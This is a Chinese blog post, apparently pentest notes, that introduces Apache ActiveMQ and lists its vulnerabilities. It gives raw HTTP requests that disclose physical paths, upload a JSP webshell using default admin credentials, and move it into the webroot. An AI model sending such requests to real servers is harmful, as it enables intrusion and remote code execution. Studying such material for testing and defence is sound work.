本文最后更新于 2024年10月21日 晚上
Apache ActiveMQ
简介
ActiveMQ 是一个开源的消息中间件,主要用于实现消息的异步传递和处理。它支持多种消息协议(如 JMS、AMQP 和 MQTT),使得不同的应用程序能够在不同的平台之间进行通信
主要特点
- 高性能:支持高吞吐量和低延迟的消息传递,适用于需要高并发的应用场景。
- 支持多种协议:除了 JMS,ActiveMQ 还支持多种协议,方便与其他系统集成。
- 可靠性:提供消息持久化功能,确保消息在系统故障时不会丢失。
- 可扩展性:可以根据需求水平扩展,适应不同规模的应用。
- 易于使用:提供丰富的管理工具和易于理解的配置文件,使得部署和管理相对简单。
- 集成能力:能够与 Spring、Apache Camel 等框架无缝集成,增强应用的灵活性。
应用场景
- 实时数据处理
- 微服务架构中的服务间通信
- 事件驱动架构
- 系统解耦合
Apache ActiveMQ漏洞
Apache ActiveMQ未授权
Apache ActiveMQ默认口令
ActiveMQ物理路径泄漏
- ActiveMQ默认开启了PUT请求,当开启PUT,且存在/filesever目录时,构造好Payload(一个可导致500错误的目录),Response会返回相应的物理路径信息!
当然因为版本或者修改了配置的原因,也可能无法得到物理路径
1 2 3 4
| PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1 Host: 192.168.197.25:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 4
|
1 2 3
| HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory) Content-Length: 0 Server: Jetty(7.6.7.v20120910)
|
但是不要急,如果不存在/filesever目录,无法通过触发500报错获得物理路径的话,还可以直接访问**/admin/test/systemProperties.jsp**路径,运气好如果该环境测试界面没有被删除的话,会得到许多路径信息配置信息,物理路径也自然在其中:
ActiveMQ PUT任意文件上传
若服务器存在fileserver目录,则可以通过put请求写入文件,但fileserver下的文件默认不解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| PUT /fileserver/shell.jsp HTTP/1.1 Host: 192.168.83.99:8161 Cache-Control: max-age=0 Authorization: Basic YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.83.99:8161/admin/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=1qt95l6g0lzyg1vt89fbhhzowh Connection: close Content-Length: 6 <shell内容>
|
如果put成功会返回214状态码
ActiveMQ任意文件文件移动
上面提到”但fileserver下的文件默认不解析”,那即使我们put了shell又有什么用呢,于是又利用这个ActiveMQ任意文件文件移动漏洞+ActiveMQ物理路径泄漏漏洞,把put的shell根据物理路径移动到可执行shell的网站根目录去
1 2 3 4 5 6 7 8 9 10 11 12 13
| MOVE /fileserver/shell.jsp HTTP/1.1 Destination:file:/opt/activemq/webapps/api/s.jsp Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 21 Content-Length: 0
|
如果move成功会返回214状态码
工具推荐
未完待续……